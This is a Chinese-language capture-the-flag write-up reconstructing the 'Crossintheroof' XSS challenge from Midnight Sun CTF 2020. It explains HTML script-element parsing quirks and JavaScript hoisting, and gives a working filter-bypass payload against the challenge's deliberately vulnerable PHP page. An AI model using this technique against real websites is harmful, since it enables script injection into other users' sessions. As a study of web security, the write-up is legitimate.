题比较难,没做出来,质量也比较高,让我感受到了西方的神奇力量,由于没环境,我只能试着复现一下
Crossintheroof
/source下给了源码:
<?php
header('X-XSS-Protection: 0');
header('X-Frame-Options: deny');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/html; charset=UTF-8');
if(!isset($_GET['xss'])){
if(isset($_GET['error'])){
die('stop haking me!!!');
}
if(isset($_GET['source'])){
highlight_file('index.php');
die();
}
die('unluky');
}
$xss = $_GET['xss']?$_GET['xss']:"";
$xss = preg_replace("|[}/{]|", "", $xss);
?>
<script>
setTimeout(function(){
try{
return location = '/?i_said_no_xss_4_u_:)';
nodice=<?php echo $xss; ?>;
}catch(err){
return location = '/?error='+<?php echo $xss; ?>;
}
},500);
</script>
<script>
/*
payload: <?php echo $xss ?>
*/
</script>
<body onload='location="/?no_xss_4_u_:)"'>hi. bye.</body>
先不纠结这题,先来看一个html的特点:
这里用注释写了一个<script>标签,并且该标签还是作为一个字符串的,看一下结果,会发现不仅没有弹窗,而且多了一个</script>标签
html在解析时,会判断标签完整性并自动补全,例如下面这个例子
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script>
alert(1)
这里只写了一个script标签和bod标签,html会自动帮我们补齐
但是自动补齐的标签却没有正常被解析,来看这个例子:
<script>
var example = 'Consider this string: <!-- <script>';
alert(1)
test</script>
<body>hello world</body>
正常来说会弹窗,然后会显示hello world,但是却什么也没发生
仔细看被解析的html
首先test</script>标签用来与注释的<!-- <script>标签对应,然后由于外层还有一个script,html会自动生成/script补齐,但是这里注意到body标签及其内容都被并入了script标签内,这也导致了body标签不能被正常解析,也是此题的一个trick
正确的方法是转义script:
<script>
var example = 'Consider this string: <!-- <\script>';
alert(1)
test</script>
<body>hello world</body>
转义后正常解析并弹窗
这个例子也是一样:
<script>
var example = 'Consider this string: <!-- <script>';
alert(1)
</script>
<!-- despite appearances, this is actually part of the script still! -->
<script>
// this is the same script block still...
</script>
可以看到着色都不一样,原本应该注释的字符串 despite……没有被正常解析
正确的方法就是使用转义符:
<script>
var example = 'Consider this string: \<!-- \<script>';
alert(1)
</script>
<!-- despite appearances, this is actually part of the script still! -->
<script>
// this is the same script block still...
</script>
参考文章:https://html.spec.whatwg.org/multipage/scripting.html#restrictions-for-contents-of-script-elements
或者也可以将注释符写完整,这样script标签就被完整的注释了,html并不会去解析
<script>
var example = 'Consider this string: <!-- <script> -->';
alert(1)
test</script>
<body>hello world</body>
正确显示
回到题目:
一开始是一个正则过滤:
$xss = preg_replace("|[}/{]|", "", $xss);
然后就是js
<script>
setTimeout(function(){
try{
return location = '/?i_said_no_xss_4_u_:)';
nodice=<?php echo $xss; ?>;
}catch(err){
return location = '/?error='+<?php echo $xss; ?>;
}
},500);
</script>
<script>
/*
payload: <?php echo $xss ?>
*/
</script>
<body onload='location="/?no_xss_4_u_:)"'>hi. bye.</body>
首先这个js设置了一个settimeout也就是在500ms之后会去执行try{}catch{}这个语句,
但是最下面body标签内有一个跳转,正常来说肯定会先跳转,但是用上刚才说的trick:
<!-- <script>
即可使body不被正常解析
然后进入try catch,这里由于try一开始又进行了跳转
return location = '/?i_said_no_xss_4_u_:)';
导致我们无法xss,但是如果能报错就能不跳转并进入catch,而catch的语句是能被直接xss的,例如:
<script>
setTimeout(function(){
try{
return location = '/?i_said_no_xss_4_u_:)'+alert(1);
nodice='';
}catch(err){
return location = '/?error=';
}
},500);
</script>
弹窗之后才进行跳转,那么让它报错就好了
在JavaScript中,无论在何处声明函数和变量,无论它们的作用域是全局的还是局部的,它们都将移至其作用域的顶部。这称为JavaScript提升。
JavaScript在后台首先声明变量,然后对其进行初始化。最好在执行任何代码之前先处理变量声明。
但是,在javascript中,未声明的变量在执行分配它们的代码之前不存在。因此,在执行赋值时,将值分配给未声明的变量会隐式将其创建为全局变量。这意味着所有未声明的变量都是全局变量。
也就是未声明的变量是全局变量,而声明的变量是局部变量,看个例子方便理解
未声明的变量由javascript分配了全局作用域,因此我们可以在函数外部打印它,但是在变量b的情况下,作用域是受限的,并且在外部不可用,因此会出现ReferenceError。
在外部打印局部变量导致了报错
详细文章:https://www.geeksforgeeks.org/javascript-hoisting/
回到这题,location在js中已经被声明过了,再重新let location=1;也会报错
所以最终payload为:
/?xss=alert(1);let location=1;<!-- <script
注意:这里script不能闭合,因为这里没有引号包裹,闭合后会直接被当作是一个script标签
如下,改成/script看的明显一些
不闭合就正常了
参考文章:
https://www.redmango.top/article/26
https://github.com/hrca-writeups/CTF-Writeups/blob/master/2020/Midnight Sun CTF 2020 Quals/Crossintheroof.md
Shithappens
gugugu